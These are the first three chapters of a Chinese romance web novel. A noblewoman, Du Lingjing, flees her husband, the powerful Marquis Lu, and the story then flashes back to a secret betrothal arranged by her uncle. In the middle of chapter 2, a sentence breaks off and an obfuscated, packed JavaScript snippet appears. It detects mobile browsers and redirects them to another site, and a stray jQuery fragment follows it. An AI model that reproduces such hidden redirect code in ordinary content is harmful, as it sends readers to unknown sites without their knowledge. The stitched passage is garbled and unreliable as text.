《惟许侯夫人》 1. 第 1 章 天没亮,侯爷踏着残雪,骋马出了京城。 侯爷把崇安留了下来,只交代了他一件事。 彼时,男人目光落在正房未亮的窗上。 “我不在家的这三日,莫让夫人离京。” 崇安吓了一跳。 他抬眼看向侯爷,见侯爷又道,“若你未能拦住她... ...” 崇安连忙跪下身去,“侯爷放心,属下一定将夫人留在京中!” 然而侯爷却摇了摇头。 昏暗的门廊灯下,摇晃的灯光在寒冬的风里略显惨白,侯爷目光仍旧落在夫人的窗前。 “她若下定决心非要离去,你是拦不住的。” 气死风灯被风吹得,吱呀向上抛去,火苗恍惚一暗,连带着照在侯爷的眼眸也瞬间暗淡了几息。 只是旋即,男人的眼睛又凝住了光。 “一旦发现失了夫人踪迹,立时派人禀报于我,一息不得耽误!” 侯爷走后,崇安饭都没吃就守在了夫人的正院门口,旁处皆不敢去。 可夫人这里一切如常: 起身、洗漱、摆饭,夫人身边的大丫鬟秋霖在正院后面的竹林里围了帷幔,用小火炉煮了茶,夫人披了厚厚的披风,坐在竹林里看了半个时辰的书,被风里飘着的细雨打断,返回了院中,秋霖往改成了夫人书房的西厢房里点了香,问夫人要不要过去... ... 崇安在正院的门房里竖着耳朵听着,听见夫人没应秋霖的话,反而思量着道,“有些日子没出门了,你让人套车,出去转转吧。” 崇安登时一凛。 谁料夫人又说了一句,话顺着穿堂风从庭院里飘了过来,“去把安侍卫请过来,同他说一声。” 崇安不用人请就快步到了夫人身前,“夫人要出门?是要去哪里?属下来备车。” 不会真如侯爷所料,要出京吧? 崇安心都提了上去,却听秋霖道,“夫人是想往崇教坊的几家书肆转转。” 崇教坊在京城东北安定门附近,因着坊内有国子监,成了文人墨客的集会处,房里的书肆汇集天下时文,旁处三年五载未必有的文章,都会第一时间出现在崇教坊里。 夫人是文人,同永定侯府阖府武将不一样,这是侯爷口中原话。且不是出城,崇安不好直接阻拦,他犹豫着试探道。 “侯爷走前说,近来京中潜入一伙毛贼,五城兵马司到处捉贼,乱了些,夫人您看... ...” 他提了侯爷,特特看了夫人一眼。 夫人闻言微微笑了笑。 “我的陪房都在外忙碌,身边除了几个丫鬟,便没什么人了。既如此,安侍卫给我调派两三人手驾车吧,也好早去早回。” 没提侯爷半个字,却跟他借了人手。 崇安只好道,“京城人多事繁,那属下亲自陪夫人过去。” 他想,若是夫人执意要去,又不让他跟在身边,恐怕是有些问题的。 可夫人点头应了。 夫人秋日山溪般的眉眼间,安静一如寻常,“那就劳烦安侍卫。” 崇安恍惚,是他想多了? 他正要应声退下去,不想有人来报,有西北边关来的将领,上门给侯爷问安,府里眼下无人,只剩他能代为接见。 崇安为了难。 夫人却开口,“你去吧,派人跟着我就是。” 崇安越发为难,但夫人确实不像是要离京。 他只能叫了四个机灵的护卫护送,自己准备用一刻钟的时间把人打发了,再用一刻钟追去崇教坊。 两刻钟而已,应该没什么事。 然而待他两刻钟后,匆促赶去崇教坊,却见他安排的四个侍卫,飞也似地在小巷里急速搜寻。 崇安心下一顿,“你们在找什么?” “安爷,夫人她... ...连同身边的丫鬟,都不见了!” 崇安差点昏死过去。 夫人真走了,果如侯爷预料的那般,不告而别了。 可是... ...为什么? “赶紧、赶紧出城去找!”崇安突然又想到了什么。 “对了,速速、速速禀告侯爷!” * 一辆不起眼的马车,在崇安的人手陆陆续续派出城去,才稳稳当当地出了城。 车窗颠簸着露了条细缝,秋霖往外瞧了一眼,恰看见两名侯府侍卫打马搜寻,向这边看了过来,她连忙收回了目光。 京都重地,来往皆是达官显贵,便是侯爷权柄在握,也不可能随意盘查路过马车,尤其是高官显贵的马车。 眼下他们坐着,假借与侯爷不对付的窦阁老家的马车出了京城,侯府侍卫不便近前细查。窦阁老家恰有人离京返乡,侯府的侍卫想要核查明白,可得几日。 只是这一走,跋山涉水,长路漫漫,要更名改姓,把原本的身份都抛了。 秋霖看向自家姑娘,想问她真的想好了,要这般决然离去,但话到底没出口。姑娘决意做的事,那是早在心里思量过千万遍了。 若非是圣旨赐婚,赐婚的又是侯爷那般权倾朝野的人,何至于此? 天擦黑时,马车顺利到了管事阮恭提前安排好的落脚地。 杜泠静简单用了些饭,就早些歇了。 她照着惯常睡到了最里面,但这一夜梦似延伸的藤蔓反复缠绕,她恍然间从梦里醒来,只觉口干舌燥。 她坐在床上静等了一息。 自成亲以来,只要她夜晚一醒,就有人也从梦中醒来。他是武将,睡得浅,总是坐起身问来一句。 “口渴了?喝点茶水么?” 但今日床帐内安安静静,无人言语。 杜泠静愣了一下才回过神来。 秋霖在房中另一侧睡着,她没出声叫人,轻取了衣裳披在肩头。 但衣衫刚覆在肩上,莫名地,竟觉有人温热的指腹轻轻握在她肩头,“别下床了,我去给你倒碗温茶来。” 杜泠静怔住。 这些日以来,夜夜皆是如此。 但昨夜里,夜风撞得门扉吱呀作响,他接过她喝完水的茶杯,没有立刻灭掉小灯,反而道了一句。 “过两日我回京,沿路带几盆花回府可好?” 杜泠静一时没明白他的意思,直到他又道了一句,本就低哑的嗓音更低两分。 “在家等我吧。” 她讶然抬眼看过去,他垂头向她看来,眸中凝着散在窗下的月光,房中寂静一如此时。 杜泠静不记得自己昨晚如何作答,只忽然间,她好似听到了落脚小院外,疾驰的马蹄声。 * 一行人纵马夜奔,顶着破晓的微弱晨曦,从山坡下到院门前时,还隐约看到院中有小灯亮着。 众人眼睛皆是一亮,尤其是崇安,当即翻身跳下马来。 他要上前推门,却听身后有人低声嘱咐了他一声。 “动静轻些,莫要惊着夫人。” 崇安连忙摒了三分气息,快步到了门前,然而刚抬手,木门吱呀一声打开了去—— 北风穿堂扑来,院中空空如也,连方才还亮的那盏小灯,也摇晃着熄在了灯油里。 “夫人、夫人他们走了?”崇安难以置信。 夫人失踪之后,他怎么都查不到夫人的踪迹,还是侯爷得消息赶了过来,几下就算到了所谓“窦府”的人身上,又沿着这线索找了过来。 他原想着侯爷反应如此迅速,必能找到夫人,谁想到,“怎么扑空了?夫人就这么决意要走?” 话音乱飘,大哥崇平急急瞥了他一眼,他赶紧闭紧了嘴巴。 他看向侯爷,侯爷未言语,抬脚向里走去。他走到那熄了的小灯前,低头看向灯旁,放着的一把钥匙。 那是一把铜钥匙,钥匙顶端铸成了一座高耸而精巧的书楼模样。 归林楼,京郊仅次于皇家文澜阁的书楼,借了工部给宫里筑楼的工匠。 是侯爷给夫人准备的聘礼。 但此刻聘礼钥匙被留了下来,还特特留在了这里。 夫人是在告诉侯爷,别再找了吗? 油灯残余的油烟飘在半空,又刺入人的鼻腔。 崇安借着破晓的光,看到侯爷垂头淡淡笑了笑。但侯爷最终没说什么,只默然将归林楼的钥匙,收到了怀中。 日光尚未大亮,就被降落淅沥小雨的云层挡在天外,檐下昏暗,无人言语,崇安只看到自己大哥崇平在侯爷的沉默中,犹豫着上前问了一句。 “爷,还找吗?” * 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男人熟悉的面庞近到她脸前,远远近近的人群里,早已布满他的人手。 杜泠静知道自己走不脱了,但还是忍不住转身远离他,却被他握住了手腕。 “风太大了,你身子受不住,别往那边去了。” 她未回身,“我并不觉得这条路风大,只要不与侯爷同行,这点风不算什么。” 她说到此处,才回头看了他一眼,“若侯爷肯让我独自离去,感激不尽。” 男人闻言,嗓音低哑地笑了一声,“那还回来吗?” “既走了,自是不会回。” “但若是,你已有我们的孩子了呢?” 他目光落在她的小腹上,顿了顿,才又重新返回到她脸上,看住她的眼睛。 像是他生了薄茧的手,于昏暗帐中摩挲在她肩头、腰间... ...杜泠静微怔,旋即别开了目光。 “无甚可能。” 冷言冷语,冷眉冷眼。 她待他,自来连对待她前未婚夫婿蒋竹修、蒋三郎,五分之一的温柔都没有,如今更是半分也无。 可她同他,才是结发相守的夫妻。 男人越发笑了,低哑的嗓音轻轻笑出了声。 “娘子对我这样不满,真是我之过。” 他摇着头,自嘲着自责。 拥挤的人群不知何时被疏散开来,风卷得他额前一缕碎发翻飞。 但他却在此时更上前一步,近到与她咫尺之间。 杜泠静下意识要退,他却扣紧了她的手腕。 “我有过,我知晓,可越是如此,我越不能让娘子离开。佛经有云,若人忏悔,罪即消灭。还请娘子给我机会,允我以此生来忏悔灭过,如此可好?” 每一个字,都随着他紧压的目光,抵至她身前。 杜泠静脱不开他掌心,更不知世上怎会这种人,将忏悔当借口,还说得如此顺口。 男人却只当没看到妻子眼中的鄙夷,向下握住她的手,带着她从远处往回处走。 但她忽的笑了。 “陆侯会否欺人太甚?从一开始设局得圣旨赐婚,到后来处处哄骗欺瞒,再到如今特特追来,只为囚我于京。” 她哼笑一声,“敢问陆侯,到底所思何为?” 她叫他陆侯。 男人没立时回答她的话,从怀中取出一方帕子,将帕中包裹的东西,轻放进了她腰间的佩囊里。 是归林楼的钥匙。 “别再弄丢了。” 她抿唇不言,盯着他的眼眸,让他回答她的问题。 男人微顿,跟妻子缓缓笑了笑,他一字一句说得很慢。 “我所思,惟夫人尔。” ... ... 车窗外群山起起伏伏,远观仿若九天美景,但对上山下山的碌碌凡人而言,跌宕难捱,不知尽头。 杜泠静无论如何都想不到,六个月前,她只是因为收书路过京城,这短暂的路过,竟将自己陷进了这个她最是不喜的,权势漩涡、是非之地。 * 《惟许侯夫人》法采/文,正版首发晋江文学城。 2. 第 2 章 六个月前。 连三日的暴雨,将京畿最后的暑热消解完毕,日子刚转进八月,山间的秋意便顺着沟渠,汩汩溢到了田间地头里。 田庄门外的老榆树下,金黄的榆钱子厚厚地盖了一地,顺着这阵疾风暴雨,老树将枝条抖了个干净,满身轻快地在秋风里摇曳沐浴,神清气爽。 杜泠静站在门前,她的境况,可比不得这颗父亲中状元那年手植的老榆树—— 她被这场大雨留在京畿五日,眼下雨虽然不下了,但算算日子,赶在中秋之前返回山东老家,却来不及。 阮管事跟她提议,“姑娘收书一路北上,既然风雨要留姑娘,何不就在此过中秋。恰二老爷一家都在京城老宅,姑娘过去倒是阖家团圆。” 杜泠静认真思量了一下。 母亲在她五岁那年过世后,父亲没再续弦,她一直跟着父亲到处做官,后来到了京城,住进祖父留下的老宅里,父亲官途步步走高。先帝爱重父亲,晚年重病时,时时招他至身侧,后来更是将他提为文渊阁大学士。 三十六岁的阁臣,即便是状元也是首例。 只是先帝过世、今上继位之后,祖父也过世了。她随着父亲离京回乡守孝,回了山东青州老家。 原本父亲守孝三年便可回京官复原职,谁料就在回京的路上,突遇山洪... ... 父亲意外过世时,她十七岁。 父亲生前,给她与蒋家三郎定了亲。她与三郎一起长大,当然无意嫁给旁人。可三郎身子不好,终是与她尚未成婚便病逝了。 那年,她才刚二十。 婶娘顾氏从前便在意过她无父无母,后连未婚夫婿都没了,说她实在算不上吉祥之人。 杜泠静并不在意。不过此番若是平日里也就算了,偏偏是中秋佳节,她突然上门叨扰,在旁人眼里,未必是团圆喜事。 杜泠静说罢了,只让阮管事去准备中秋节礼,届时给叔父婶娘送过去,自也给二妹和小弟都备一份。 “... ...只是多年没见弟弟妹妹,不晓得他们喜好些什么。还有婶娘,近来不知如何了。” 杜泠静的婶娘顾夫人,去岁出门时出了意外。她堪堪捡回一条命,却受了重伤,多半时候神志模糊,连人都识不清,只能卧床休养,再无昔日风姿。 管事阮恭这就遣人,先往顾夫人京郊的陪嫁小庄子上打听。小厮一个时辰便跑了个来回,回来的时候脸色有点古怪。 “是有什么事?”杜泠静让阮恭把人叫进了厅里来。 小厮名唤菖蒲,支吾了两声不知从什么地方说。 阮恭上前踢了他一脚,“就把你听的见的,从头到尾说。” 菖蒲捂了屁股,这才道。 “小的过去,二夫人陪房见是小的来了,都吓了一跳,我就把咱们被雨困在这儿的事说了,又照着姑娘吩咐问了话。” “他们说京城澄清坊府邸那边,二老爷居家候缺,一时没有合宜的,多等了几个月。二夫人还是旧样子,只是月余前生了场小病,更虚弱了,每日贵重药材养着。二姑娘接手了家中中馈,平日还要往顾家进学,甚是忙碌。小爷年初去了保定的书院读书,休沐才还家。” 秋霖挑眉,“这不都挺好?你怎么一副被枣核卡了嗓子的样子?咽不下也吐不出的。” 秋霖这么问,菖蒲又露出一副卡嗓子的表情来。阮恭照他屁股又踢了一脚,“还有什么,快说。” 这一脚踢得重了,菖蒲一踉跄,秃噜着把话都说了。 “小的问了话原是想走的,却瞧见院子里摆了不少箱笼,都是雀登枝、并蒂莲的纹样,怎么看怎么像嫁妆箱子。有一只敞着的,里面放了四匹大红绸,像是立时就要拿出来用。我问了一句,‘二姑娘要成亲了吗?’,谁想这一问,他们竟都支吾起来。” 阮恭和秋霖相互对了个古怪的眼神,二姑娘还未及笄。 杜泠静微顿,“继续说。” 菖蒲赶忙道,“接着庄子里主事的来了,我瞧着面生,再一问才知道是顾家派来的人。” 他道这人唤作顾九,此人先说了几句漂亮话,接着又说雨大路难走。 “说姑娘不便进京,由他们代为送过去也是一样的。又问咱们什么时候回去,他们可以派人护送姑娘... ...顾九说了一堆,我问了一句家里是不是要办喜事,他却说不是,只道二姑娘快及笄了,备办些及笄礼的器具罢了。” 菖蒲终于把话一股脑全说了,似卡在喉咙间的枣核吐了出来。 “姑娘,恭爷,秋霖姐姐,你们说怪不怪?要是二姑娘办及笄礼,缘何其他人不直说?再者我看着就是像嫁妆箱,二姑娘莫不是及笄礼行完就要嫁人?那这样的大喜事怎么还不让咱们知道?咱们还能折了他们喜气不成... ...” 话没说完,阮恭第三脚差点把人踢出厅去,“胡说八道什么呢?” 菖蒲捂着屁股,一脸委屈憋闷。 “好了。”杜泠静及时开口,止了阮恭的第四脚。 她跟菖蒲颔首,“没什么事,你跑一趟也累了,去歇了吧。” 她嗓音似檐下残余的雨珠,滴答坠入盛满水的门海大缸里,波开圈圈涟漪。 菖蒲却越觉不忿,想说什么都被阮恭瞪了回去,最后只憋出来一句。 “姑娘别忘心里去,不值当的!” 说完捂着屁股跑了。 秋霖“哎”了一声,阮恭差点追出去踹他,杜泠静则忍不住弯起嘴角笑了笑。 秋霖道,“姑娘还笑呢?”她不满嘀咕,“被人防贼一样防着。” 阮恭则琢磨了一下,“姑娘,咱们真就避这嫌?要不要进京仔细打听一下?” 他不确定,姑娘这几年独自在家打理书楼,一向奉行多一事不如少一事。 阮恭瞧过去,却听见姑娘稳坐上首,缓声开了口。 “先晓事再避事,是宁人息事;只避事不晓事,怕是要生出咄咄怪事了。” 阮恭眼睛一亮。 姑娘所言这正是他顾虑的,不管二房是什么情形,先打听清楚再说。 姑娘叫了他,“你亲自往京城去一趟吧。” “是!” * 阮恭动身去了,杜泠静坐在檐下看了一阵书,天色没大亮,反而阴沉起来,不时又飘起了小雨。 秋霖赶紧叫人把刚晒上的书收走。 “姑娘的书总是晒不上,这要是在南方,早就霉了。” 她一边发愁一边嘱咐人动作仔细些,“这些书比人都金贵,本本都斥重金才买到;还比人年纪大,各个都是上百岁的老祖!可别磕着碰着。” 丫鬟们动作都轻得似捏头发丝。 杜泠静在旁轻笑。 杜氏自她高祖起开始读书,到了祖父出了第一位进士。 祖父是正儿八经爱书的读书人,做官不久便不耐官场繁琐辞官还乡,尽心治学讲学,桃李天下,成了本地赫赫有名的大儒。 他修建的书楼唤作勉楼,不同于别的藏书楼为私家之用,勉楼最开始便有祖父供天下人共读之愿。 待父亲回乡守制,更是着力扩充藏书,广邀书客,为前来读书之人大开方便之门。 父亲身后,叔父在外做官,她接手了勉楼,则着力于搜寻古籍善本,每寻到一部,便如发掘得落满尘灰的珍宝一件,悉心整理印刻发行。 她最初的意思,不过是怕古书束之高阁,没成想勉楼却因此声名远扬,这几年已渐渐能与江南大藏书家的书楼作比,杜泠静自己也莫名在士林里得了些名声。 但勉楼藏书有此名声,不光是他们祖孙三代之功。她未婚夫婿蒋家三郎,也为勉楼尽心尽力。 蒋家本是当地耕读大族,前朝时不乏子弟高居庙堂,但本朝开国后才俊寥落,唯独三郎一枝独秀,十六岁就中了一省解元。 可惜三郎自幼病弱,举业耗费心力,解元之后他身子越发不济,只能中断科举。 三郎将不多的精力投到了她的勉楼上,还用蒋家的钱,重金收得宋本存置勉楼里,又以杜氏的名义刻印发行。 她说这样不好,“你我尚未成亲,旁人难免非议,再者,勉楼可不是我的嫁妆,我也不准备带走。” 三郎笑起来,一边笑一边咳着,轻声叫她。 他叫她“泉泉”,是他给她偷偷取的字,某次父亲听到之后直道,“静水泠泠便是泉,谦筠这字取得妙”,一度弄得他们二人脸红了半个月。 彼时,蒋竹修蒋谦筠笑着道,“泉泉是不是想得太多了?我重金购置宋本,与我们的亲事并不相干。” 她一愣,脸上热了热,“那你是想做什么?” 三郎笑看了她一眼,“只不过是想蹭你家勉楼,成我佞宋之心。” 近年世人多爱宋传古本,有些追捧宋书近乎于佞,她不晓得三郎何时也佞上了宋。 她听三郎道,“我曾发现宏愿,道是要集百部宋书,做佞宋第一人。只是我这身子你也知道,万一,我说万一我命数不够,还请泉泉一定替我收宋书百部,集于勉楼,供人读之。” 一语成谶。 殷佑七年,她刚出父孝,离着她与谦筠的大婚只剩三月。 他于雪夜中撒手决然而去,独将她遗弃在冰天雪地的人世之间... ... 那年的雪很重,勉楼在暴雪中摇摇欲坠。秋霖跪在书房门前求她,“姑娘不能再把自己关在书房里了,勉楼快塌了!三爷的书也要塌在雪地里了!” 祖父、父亲、谦筠,他们为什么还给她留下这么多事? 可祖父起高楼,父亲宴宾客,不能在她手里塌了楼。 而某人发下的宏愿,还远没完成,他天真地要集宋书百部,又留给她半副身家,或许是要她用一辈子替他做事。 但她只能打起精神,强撑着去打理勉楼,在这孤零零的世间去为三郎寻觅珍稀的宋本... ... 世上佞宋的藏书家太多,宋本有市无价,杜泠静这三年也才收了七八部。 谁料前些日济南传来宋书流出的消息,她立时出了青州追寻稀世古书的踪迹,不想一部接着一部地,一直走一直收,一口气收了八部之多,也一路北上到了京城门外。 眼看又要下雨,杜泠静倒不担心书来不及收回,她看着阴沉沉的天。 “西面那条河,先前险些决堤,昨日雨停后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15084442|163533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可有人去修?” 秋霖赶紧找了庄里的人打听,但众人见雨停了,便一时没再管河道的事。就这说话的工夫,檐下的雨珠穿成了串儿地砸落下来。 秋霖“呀”了一声,“姑娘是不是担心,若再下暴雨决了堤,咱们田庄可能不保?!” 然而眼下雨已经又下了起来,附近庄子拢共没几个人手,冒雨护堤太冒险了。 杜泠静沉吟不语。 秋霖看着檐外的大雨愁得皱巴了脸,“看这雨没停的意思,要不然,奴婢护着姑娘和书,先离了庄子往高处去?” 可外面道路泥泞,附近的山头离这儿颇有些距离。就在这时,菖蒲欢天喜地地冒雨跑了过来,“姑娘,有官兵过来修堤!好多人呐!” 菖蒲说是附近大营的人,“不知为何而来,反正保得咱们不被水淹也就是了!” 杜泠静微怔,转身让秋霖吩咐灶上做了些吃食。待吃食做好,她吩咐菖蒲驾车,亲自去了一趟堤边。 大雨滂沱,河中水势汹涌,狠厉冲击着堤岸。一旦这里溃决,下面的庄子田地就都遭殃了。附近庄里来了许多老人,一直在同官兵商量疏浚河道之事。 好在杜泠静来的时候,众人已经商议好了对策,但非一时之功。杜泠静趁着众人暂歇,将吃食和茶水送了过去。 她未提及家中名号,只说是附近庄上人,送了东西便要走。但车轱辘陷入泥水里,只能暂时下了车。 可杜泠静刚下了车,便觉有目光隔着河道远远地落过来。 她微微侧头。 雨幕似打湿的纱帐,模糊着遥看的视线。 河对岸高高的大堤上,立着个通身墨色锦衣的男子,锦衣绸光于雨中暗淡了些许,却衬得他收束在窄腰间的那墨玉带格外耀眼。 他在阔伞之下,目光越过雨幕遥遥落了过来,落在她身上,好似定住了一般。 可杜泠静没能从他隐约的面庞里,看到任何熟悉之感。 她不认识此人,转身问了一句,“此间除了附近大营的将领官兵,还有旁的... ...” 隔岸那男子,通身气派不似常人,他负手立在前,旁人皆跟在后,杜泠静顿了顿,“还有旁的贵人?” 秋霖方才送去吃食的时候,恰打听了一句。 “姑娘,那位恐怕是,”她嗓音略压两分,“永定侯。” “西北永定军的主帅?”杜泠静挑了眉,“永定侯陆慎如?” 秋霖低声说是,“听说贵妃娘娘前些日带着慧王去了行宫斋戒礼佛,但中秋佳节在即,贵妃娘娘同慧王要赶在中秋前回宫。若是决了堤、毁了桥,娘娘一行就回不来了。” “所以,是陆侯拨了附近官兵前来?” 秋霖点头。 陆贵妃出身永定侯府陆氏,正是眼前这位年轻的君侯,一母同胞的长姐。 事涉贵胄宫闱,杜泠静不再多问。 而这位陆侯爷,边军主帅、御前近臣,二十有五的年岁,已是武将中独揽大权的人物。 杜泠静与他素不相识,这般权势滔天的人臣,她也无意交结。 雨幕哗哗地阻隔着远处的视线,恰马车从泥水里转了出来,她登回车上,在暴雨里离了去。 马车渐行渐远,马蹄声亦被逐渐掩盖,只剩下一个虚影在林间变成了落叶,摇摇晃晃飘进了风雨之中。 护堤的工程完成了大半,有将领前来禀报了一声,“侯爷不必担心,此堤坝无虞了。”又道,“雨停后属下会再检查堤上大桥,娘娘同慧王殿下必能安稳过桥。” 那将领不确定能不能让侯爷满意,偷偷瞧了一眼。 他见这位侯爷,一直负手看向对岸的林间,不知看向什么,他正犹豫着自己要不要问问,男人的目光缓缓收了回来。 侯爷来时神色平平,此刻将领却一眼瞧出,他眸色温软中浸着几分和悦。 他开口道了句“劳烦”,“众将士辛劳,此番护驾有功,亦为百姓解燃眉之急,陆某会在皇上面前为诸位邀功,今冬的炭火粮米亦会翻上一倍。” 他嗓音比常人低哑许多,一旁的兵将原以为这位侯爷高不可攀,必权势凌人,没想到开口低缓周全,既为将领邀功,又为士兵讨赏。 众人皆又惊又喜,“多谢侯爷费心!但凭侯爷差遣!” 男人道客气,示意近身侍从留下帮衬,“陆某不便久留,先行一步。” 他越是客气,众人越是不敢怠慢分毫。 方才的将领赶忙要去相送,却见侯爷抬手止了他步。 他见那位永定侯爷,没再多留,转身离去的时候,目光不知怎么,似是还往方才那对岸林中看了一眼。 * 京城。 暴雨砰砰地砸在窗棂上,阮恭没听清楚对面人的话。 “你方才说的杜家要有大喜事,是什么时候?” 对面人见他脸色不太对,赶紧又提了嗓子说了一遍。 “十日之内。我说十日之内,杜家就要凭借这桩大喜事,飞黄腾达了!” 喜事,是该让所有人都高兴的事。 但阮恭听完脸色发青,心口砰砰难掩,后背冒出了冷热难辨的急汗。 3. 第 3 章 京城,阮恭后背湿汗淋漓。 三刻钟之前,他刚进了京城,便听人人口中提及的一桩大事。 “不知皇上今秋,要促就几桩良缘?” 先帝时,只为宗室子弟赐婚,但到了今上继位,被赐婚的便不止宗室与皇亲,京中凡高门贵户,无论文武皆可入此列。 “京中高门联姻,岂是随意为之?说是皇上赐婚,多半时候还是他们已私下定好,到皇上脸前过明面,再讨个金口玉言的彩头。” 阮恭让小二上了茶来,听见坐在中间的一人道,“往年的贵人就那些,没什么意思。今年却不一样。” 这话一出,就有人问,“莫不是今岁,皇上要给那位赐婚了?” 一说起“那位”,围着的人全来了精神。 有个京外刚来的小伙子,拎不清状况挠着头问,“那位,是哪位呀?” 众人都露出一副他好不知事的神色,“还有哪位?自是年年中秋夜宴第一等的贵客,多少人望眼欲穿也高攀不上的那位侯、爷。” 小伙子眨了眨眼,“侯爷?永、永定侯、陆侯爷?” 他总算晓了事,众人都点头又摇头。 以永定侯府为名的永定军,镇守着朝廷的边关重镇,陆贵妃与慧王又最得皇上荣宠,永定侯府陆慎如在朝中的权柄,与几经沉浮的文官老臣不相上下。 但他一直未成家。 每岁中秋圣上赐婚,朝野上下总要先猜陆侯爷今岁会否联姻高门,迎娶贵女过门。 但一年又一年,陆侯夫人始终没有出现。 陆侯今岁,二十有五了。 有人问了一句,“难不成,今年陆侯夫人出现了?” 永定侯的威名,阮恭也是晓得的。他仔细听着,听见又有人问,“是不是永定侯府,往宗人府递了名帖?” 每年中秋赐婚,还是照旧例由宗人府呈上待选名单,想得皇上赐婚的各家,要亲自往宗人府递名帖。 被围在中间的那人却摆了手,“以永定侯府在皇上脸前的体面,根本不用去宗人府递名帖。我说今岁有陆侯爷,不是因为名帖,而是积庆坊那边,侯府半年前就开始修葺府邸,算算日子,恰秋日里修完,那岂不是刚好迎娶侯夫人过门?” 众人皆“呀”了一声,还真有些道理。 “侯夫人是哪家?怎么没听说永定侯府同哪家要联姻?” 众人猜了几家,都没有证据,有人笑道,“陆侯夫人莫不是被雨阻在京城门外,还没进京呢?” 满堂都笑起来。 但这话莫名地把阮恭吓了一跳。他心都提了一提,竖着耳朵盯住了中间那人。 有人问那人,“你说今年不一样,就这?没真凭实据可没人信。” 陆侯的婚事年年都被人讨论,不管说得多么有模有样,最后的结果都是侯夫人从不曾出现。众人对猜测之事便不怎么信了,大家哄闹着,让中间那人说出个丁卯来。 中间那人张了嘴,所有人都看过去,但他嘴巴张的老大。 “这是天机,还不可泄露。” 众人瞬间都泄了气,纷纷说没意思,“信了你的鬼话。” 阮恭也松了口气,暗道自己真是想多了。 杜家同永定侯府,可是八竿子打不着。那位陆侯的夫人,再怎么也不会是自家姑娘。 中间那人颇有些丢了脸面,他又提了嗓子,“那我说个有真凭实据的,保准不比陆侯的风浪小。” 永定侯是朝中呼风唤雨的重臣,贵妃的胞弟、慧王的亲舅,不比他风浪小的该是谁? 那人摇头晃脑着得意。有人迟疑了一下,“你说的,不会是探花郎吧?” 探花郎,邵伯举。 永定侯是贵妃的胞弟,探花郎则是贤妃的亲侄;陆侯是慧王亲舅,邵氏则是雍王表兄;陆慎如是功勋在身、大权在手的永定军主帅,邵伯举却是实实在在科举出身的新科探花。 一武一文,皆是皇上爱重的近前红人。 中间那人但笑不语,周遭众人全炸了锅。 “你说的真是邵探花?他要和哪家高门联姻?!” 这次那人没说天机不可泄露,捋了捋胡须,“要说高门,倒也不算是太高的门楣。” 言下之意,不是京中赫赫有名的高门。 此言一出,众人更惊诧了,纷纷让他别卖关子,“快说快说,到底是哪家?” 那人只吃茶,偏不肯说了。 旁人不服气,“莫不又是拿捕风捉影的骗人?” “怎么就是骗人?”中间那人被激,直起腰来,“我说了只怕你们不信。那家门楣,你们是猜不到的。” 阮恭眼皮莫名一跳。 方才他就心下一提,这会又跳了眼皮。他暗道自己今日过于紧张了,这两位朝中显贵怎么可能这么巧,同姑娘的事有关系? 可那中间之人缓缓转头,往澄清坊看了过去。 “要同邵氏联姻的,就在这澄清坊里。” 众人皆怔怔向着澄清坊瞧去,那人笑着道了一句。 “澄清坊前阁老府邸,杜家,要有大喜事了。” ... ... 阮恭把钱都掏了出来,请那人单独往雅间吃了茶。 “... ...你方才说得杜家的大喜事,是什么时候?” 那人又说了一遍。 “十日之内。我说十日之内,杜家就要凭借这桩大喜事,飞黄腾达了!” 阮恭唇舌发干,“所以,邵氏会请宫里赐婚,和杜家联姻?” “当然了,邵氏是什么身份,这婚事只能是赐婚。只要杜家二老爷往宗人府递去了名帖,此事再不会有误。” 阮恭口中泛苦,“那我再多问一句,邵氏中意的,是杜家哪位姑娘?” 话问出口,阮恭心里其实已经有数了。 果听那人道,“哪还有旁人,能配得上探花郎的,自是那位前阁老的独女。” 故去的阁老独女,便是他家大姑娘,杜泠静。 阮恭只觉头晕目眩。 难怪二房办喜事瞒着,不想让他们知道。 原来不是嫌弃姑娘身世“不吉”,而是这所谓大喜事,根本就是给姑娘办的—— 二老爷瞒着姑娘,给她定了亲! 阮恭连番谢过那人,匆忙离了京城去。 只是他走后,方才那人从茶楼雅间出来,转进了僻静的楼道间里。 昏暗的楼道间里,有人倚墙抱剑正闭眼假寐,那人上前道,“安爷,照您的吩咐话都说了,那阮管事着急走了。” 话音落地,一袋沉甸甸的赏银落到了他怀中。 那人连忙接下道谢,见那抱剑的人转身要走,正要相送,不想人家转过身来。 侍卫崇安好奇地问了一句。 “我们侯府修缮宅院,秋日里完工的事,你都知道了?” 那人嘻嘻一笑,“做咱们这行的,紧要的就是消息灵通。但更紧要的,是什么话当说,什么话不当说。” 崇安缓缓点头,“不错,有分寸。” 那人更笑了,“多谢安爷赏识,”他说着,低了声音,“那您能不能给小人透个话,咱们侯爷今岁,是不是要迎娶侯夫人了?” 崇安啧了一声,“刚说你有分寸... ...” 那人赶紧缩了脖子,但崇安说罢了,嘴角勾了勾。 “过几日,你就知道了。” * 京城崇文门外人鸣马嘶、热闹非凡,待进了城门便安静三分,再待转入澄清坊里,喧闹声皆被阻在了京门宅邸的道道院墙之外。 这样的地段,当年杜老太爷中进士后,倾阖家之力才置办了二进小院;待到杜大老爷状元及第又官至阁臣,才慢慢将二进院扩成三进两路、另带一处花园的大宅。只依着杜二老爷外任四品官的资历,如何也住不进此地。 此刻雨停下来,杜二老爷杜致祁站在庭院里,指挥着仆从。 “把这些碗碟多备几套,到时候咱们家中办喜,不要露得些小门小户做派,让人看了笑话。” 他说着上前看了眼刚买回来的茶壶碗碟,当即皱了眉,“这么次的东西。管事呢?谁安排采买的?” 话音未落,有人从游廊下快步走了过来。 来人是个十四五岁的姑娘,穿着一身蜜合色绣金桂交领衫,并秋香色马面裙,她快步走过来。 她先行礼叫了声爹,看了一眼碗碟,见瓷上釉不够细,甚至有些边角釉水没覆上。 她说东西是她让采买的,“爹勿怪,是大姐姐的事情办得着急,账上的钱支取得勤,便一时没留意,采买了些不够细致的碗碟。” 